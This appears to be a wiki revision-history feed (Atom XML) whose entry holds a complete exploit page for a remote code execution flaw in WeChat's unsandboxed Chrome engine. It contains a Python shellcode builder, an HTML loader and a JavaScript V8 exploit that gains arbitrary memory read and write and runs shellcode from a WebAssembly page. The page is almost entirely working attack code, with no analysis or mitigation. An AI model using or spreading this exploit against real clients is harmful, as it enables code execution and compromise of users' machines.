<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%BE%AE%E4%BF%A1_%EF%BC%88Wechat%EF%BC%89_%E7%84%A1%E6%B2%99%E7%AE%B1%E8%AA%BF%E7%94%A8Chrome%E5%85%A7%E6%A0%B8_RCE%E6%BC%8F%E6%B4%9E</id>
	<title>微信 （Wechat） 無沙箱調用Chrome內核 RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%BE%AE%E4%BF%A1_%EF%BC%88Wechat%EF%BC%89_%E7%84%A1%E6%B2%99%E7%AE%B1%E8%AA%BF%E7%94%A8Chrome%E5%85%A7%E6%A0%B8_RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%BE%AE%E4%BF%A1_%EF%BC%88Wechat%EF%BC%89_%E7%84%A1%E6%B2%99%E7%AE%B1%E8%AA%BF%E7%94%A8Chrome%E5%85%A7%E6%A0%B8_RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T18:34:08Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E5%BE%AE%E4%BF%A1_%EF%BC%88Wechat%EF%BC%89_%E7%84%A1%E6%B2%99%E7%AE%B1%E8%AA%BF%E7%94%A8Chrome%E5%85%A7%E6%A0%B8_RCE%E6%BC%8F%E6%B4%9E&amp;diff=1726&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== ===core.py=== &lt;pre&gt; # only python3 supported  payload = b&quot;notepad.exe&quot; shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,13848596...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%BE%AE%E4%BF%A1_%EF%BC%88Wechat%EF%BC%89_%E7%84%A1%E6%B2%99%E7%AE%B1%E8%AA%BF%E7%94%A8Chrome%E5%85%A7%E6%A0%B8_RCE%E6%BC%8F%E6%B4%9E&amp;diff=1726&amp;oldid=prev"/>
		<updated>2021-04-17T02:48:48Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== ===core.py=== &amp;lt;pre&amp;gt; # only python3 supported  payload = b&amp;quot;notepad.exe&amp;quot; shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,13848596...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
===core.py===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# only python3 supported&lt;br /&gt;
&lt;br /&gt;
payload = b&amp;quot;notepad.exe&amp;quot;&lt;br /&gt;
shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216]&lt;br /&gt;
data = [payload[max(0, i-4):i] for i in range(1, len(payload)+4, 4)]&lt;br /&gt;
data[0] = b'\xda\xff\xd5c\x00\x00\x00\x00'[:3] + data[0]&lt;br /&gt;
data[-1] = data[-1] + (4 - len(data[-1])) * b'\x00'&lt;br /&gt;
ret = [ _ + b'\x00\x00\x00\x00' for _ in data]&lt;br /&gt;
code = [int().from_bytes(_, byteorder='little', signed=True) for _ in ret]&lt;br /&gt;
print(&amp;quot;replace it to exploit.js:\nvar shellcode = [{}]&amp;quot;.format(shellcode + code))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===exploit.html===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;exploit.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===exploit.js===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
BSD 2-Clause License&lt;br /&gt;
Copyright (c) 2021, rajvardhan agarwal&lt;br /&gt;
All rights reserved.&lt;br /&gt;
Redistribution and use in source and binary forms, with or without&lt;br /&gt;
modification, are permitted provided that the following conditions are met:&lt;br /&gt;
1. Redistributions of source code must retain the above copyright notice, this&lt;br /&gt;
   list of conditions and the following disclaimer.&lt;br /&gt;
2. Redistributions in binary form must reproduce the above copyright notice,&lt;br /&gt;
   this list of conditions and the following disclaimer in the documentation&lt;br /&gt;
   and/or other materials provided with the distribution.&lt;br /&gt;
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &amp;quot;AS IS&amp;quot;&lt;br /&gt;
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE&lt;br /&gt;
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE&lt;br /&gt;
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE&lt;br /&gt;
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL&lt;br /&gt;
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR&lt;br /&gt;
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER&lt;br /&gt;
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,&lt;br /&gt;
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE&lt;br /&gt;
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])&lt;br /&gt;
var wasm_mod = new WebAssembly.Module(wasm_code);&lt;br /&gt;
var wasm_instance = new WebAssembly.Instance(wasm_mod);&lt;br /&gt;
var f = wasm_instance.exports.main;&lt;br /&gt;
&lt;br /&gt;
var buf = new ArrayBuffer(8);&lt;br /&gt;
var f64_buf = new Float64Array(buf);&lt;br /&gt;
var u64_buf = new Uint32Array(buf);&lt;br /&gt;
let buf2 = new ArrayBuffer(0x150);&lt;br /&gt;
&lt;br /&gt;
function ftoi(val) {&lt;br /&gt;
    f64_buf[0] = val;&lt;br /&gt;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) &amp;lt;&amp;lt; 32n);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function itof(val) {&lt;br /&gt;
    u64_buf[0] = Number(val &amp;amp; 0xffffffffn);&lt;br /&gt;
    u64_buf[1] = Number(val &amp;gt;&amp;gt; 32n);&lt;br /&gt;
    return f64_buf[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const _arr = new Uint32Array([2**31]);&lt;br /&gt;
&lt;br /&gt;
function foo(a) {&lt;br /&gt;
    var x = 1;&lt;br /&gt;
	x = (_arr[0] ^ 0) + 1;&lt;br /&gt;
&lt;br /&gt;
	x = Math.abs(x);&lt;br /&gt;
	x -= 2147483647;&lt;br /&gt;
	x = Math.max(x, 0);&lt;br /&gt;
&lt;br /&gt;
	x -= 1;&lt;br /&gt;
	if(x==-1) x = 0;&lt;br /&gt;
&lt;br /&gt;
	var arr = new Array(x);&lt;br /&gt;
	arr.shift();&lt;br /&gt;
	var cor = [1.1, 1.2, 1.3];&lt;br /&gt;
&lt;br /&gt;
	return [arr, cor];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for(var i=0;i&amp;lt;0x3000;++i)&lt;br /&gt;
    foo(true);&lt;br /&gt;
&lt;br /&gt;
var x = foo(false);&lt;br /&gt;
var arr = x[0];&lt;br /&gt;
var cor = x[1];&lt;br /&gt;
&lt;br /&gt;
const idx = 6;&lt;br /&gt;
arr[idx+10] = 0x4242;&lt;br /&gt;
&lt;br /&gt;
function addrof(k) {&lt;br /&gt;
    arr[idx+1] = k;&lt;br /&gt;
    return ftoi(cor[0]) &amp;amp; 0xffffffffn;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function fakeobj(k) {&lt;br /&gt;
    cor[0] = itof(k);&lt;br /&gt;
    return arr[idx+1];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var float_array_map = ftoi(cor[3]);&lt;br /&gt;
&lt;br /&gt;
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];&lt;br /&gt;
var fake = fakeobj(addrof(arr2) + 0x20n);&lt;br /&gt;
&lt;br /&gt;
function arbread(addr) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    return (fake[0]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function arbwrite(addr, val) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    fake[0] = itof(BigInt(val));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function copy_shellcode(addr, shellcode) {&lt;br /&gt;
    let dataview = new DataView(buf2);&lt;br /&gt;
    let buf_addr = addrof(buf2);&lt;br /&gt;
    let backing_store_addr = buf_addr + 0x14n;&lt;br /&gt;
    arbwrite(backing_store_addr, addr);&lt;br /&gt;
&lt;br /&gt;
    for (let i = 0; i &amp;lt; shellcode.length; i++) {&lt;br /&gt;
        dataview.setUint32(4*i, shellcode[i], true);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));&lt;br /&gt;
console.log(&amp;quot;[+] Address of rwx page: &amp;quot; + rwx_page_addr.toString(16));&lt;br /&gt;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];&lt;br /&gt;
copy_shellcode(rwx_page_addr, shellcode);&lt;br /&gt;
f();&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>